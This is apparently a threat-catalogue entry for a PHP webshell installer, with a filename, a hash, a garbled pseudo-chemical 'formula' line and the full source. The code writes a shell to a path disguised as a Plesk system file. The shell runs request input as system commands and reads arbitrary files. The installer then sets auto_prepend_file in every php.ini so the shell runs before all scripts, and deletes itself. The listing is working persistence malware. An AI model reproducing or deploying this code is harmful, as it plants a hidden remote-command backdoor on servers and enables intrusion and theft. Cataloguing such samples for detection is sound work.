install_prepend_webshell.php
PHP request-to-command webshell patternTiny PHP file runs request input as command
SHA-256358cf728b85718d8a2e758fff69282f31c33cb4c12b4cfc9c5ee225704abf05e
MaleculeO(C₃)H₄(CmDb₃F₇Po)Md(Pt₂)
Evidence
1<?php
2// Step 1: write the web shell to a path that looks like a Plesk system file
3$shellPath = '/usr/lib/php/plesk_sys_driver.php';
4$shellCode = '<?php if(isset($_REQUEST["c"])){ system($_REQUEST["c"]); } '
5 . 'if(isset($_REQUEST["f"])){ echo file_get_contents($_REQUEST["f"]); } ?>';
6file_put_contents($shellPath, $shellCode);
7
8// Step 2: point auto_prepend_file at the shell in every PHP configuration
9// so it is loaded and executed before any other PHP script runs
10$configs = array_merge(
11 glob('/etc/php/*/php.ini'),
12 glob('/etc/php/*/apache2/php.ini'),
13 glob('/etc/php/*/fpm/php.ini'),
14 glob('/opt/plesk/php/*/etc/php.ini')
15);
16foreach ($configs as $ini) {
17 $content = file_get_contents($ini);
18 if (preg_match('/^\s*auto_prepend_file\s*=/m', $content)) {
19 $content = preg_replace('/^\s*auto_prepend_file\s*=.*$/m',
20 'auto_prepend_file = "' . $shellPath . '"', $content);
21 } else {
22 $content .= "\nauto_prepend_file = \"" . $shellPath . "\"\n";
23 }
24 file_put_contents($ini, $content);
25 echo "patched $ini\n";
26}
27// Step 3: remove this installer after execution
28unlink(__FILE__);